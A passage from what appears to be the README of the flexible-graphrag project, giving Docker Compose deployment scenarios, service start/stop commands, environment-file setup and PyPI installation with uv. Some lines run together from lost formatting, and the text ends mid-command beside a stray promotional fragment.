# - includes/proxy.yaml # Must be commented out for Scenario A
# - All other services remain commented unless you want a different vector database,
# graph database, OpenSearch for search, or Alfresco includedDeploy Services:
# From the docker directory
docker-compose -f docker-compose.yaml -p flexible-graphrag up -d#### Scenario B: Full Stack in Docker (Complete)
Configuration Setup:
# If not already in docker directory from previous step:
# cd docker
# Edit docker-compose.yaml to uncomment/comment services as needed
# Scenario B setup in docker-compose.yaml:
# Keep these services uncommented:
- includes/neo4j.yaml
- includes/qdrant.yaml
- includes/elasticsearch-dev.yaml
- includes/kibana-simple.yaml
- includes/app-stack.yaml # Backend and UI in Docker
- includes/proxy.yaml # NGINX reverse proxy
# Keep other services commented out unless you want a different vector database,
# graph database, OpenSearch for search, or Alfresco includedDeploy Services:
# From the docker directory
docker-compose -f docker-compose.yaml -p flexible-graphrag up -dScenario B Service URLs:
#### Other Deployment Scenarios
Scenario C: Fully Standalone - Not using docker-compose at all
flexible-graphrag/.envScenario D: Backend/UIs in Docker, Databases External
docker/.env: Backend in Docker reads this fileneo4j:7687, qdrant:6333)host.docker.internal:PORTScenario E: Mixed Docker/Standalone
flexible-graphrag/.env: Use host.docker.internal:PORT for locally-running Docker databases, use actual hostnames/IPs for remote Docker or non-Docker databases#### Docker Control and Configuration
Managing Docker services:
# Navigate to docker directory (if not already there)
cd docker
# Create and start services (recreates if configuration changed)
docker-compose -f docker-compose.yaml -p flexible-graphrag up -d
# Stop services (keeps containers)
docker-compose -f docker-compose.yaml -p flexible-graphrag stop
# Start stopped services
docker-compose -f docker-compose.yaml -p flexible-graphrag start
# Stop and remove services
docker-compose -f docker-compose.yaml -p flexible-graphrag down
# View logs
docker-compose -f docker-compose.yaml -p flexible-graphrag logs -f
# Restart after configuration changes
docker-compose -f docker-compose.yaml -p flexible-graphrag down
# Edit docker-compose.yaml, docker/.env, or includes/app-stack.yaml as needed
docker-compose -f docker-compose.yaml -p flexible-graphrag up -dConfiguration:
docker/docker-compose.yamlflexible-graphrag/.env with docker/.env for Docker-specific overrides (like using service names instead of localhost). No configuration needed in app-stack.yamlSee docker/README.md for detailed Docker configuration.
Note: Skip this entire section if using Scenario B (Full Stack in Docker).
#### Environment Configuration
Create environment file (cross-platform):
# Linux/macOS
cp flexible-graphrag/env-sample.txt flexible-graphrag/.env
# Windows Command Prompt
copy flexible-graphrag\env-sample.txt flexible-graphrag\.envEdit .env with your database credentials and API keys.
#### Option A — Install from PyPI package (Quickstart)
# 1. Create and activate a virtual environment
uv venv venv-3.13 --python 3.13
venv-3.13\Scripts\Activate # Windows
source venv-3.13/bin/activate # Linux/macOS
# 2. Install flexible-graphrag
uv pip install flexible-graphrag
# 3. Optionally install ArcadeDB embedded mode support (includes bundled JVM, no Java install needed)
uv pip install arcadedb-embedded>=26.3.2
# 3a. Optional dependency groups, for example:
uv pip install "f~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.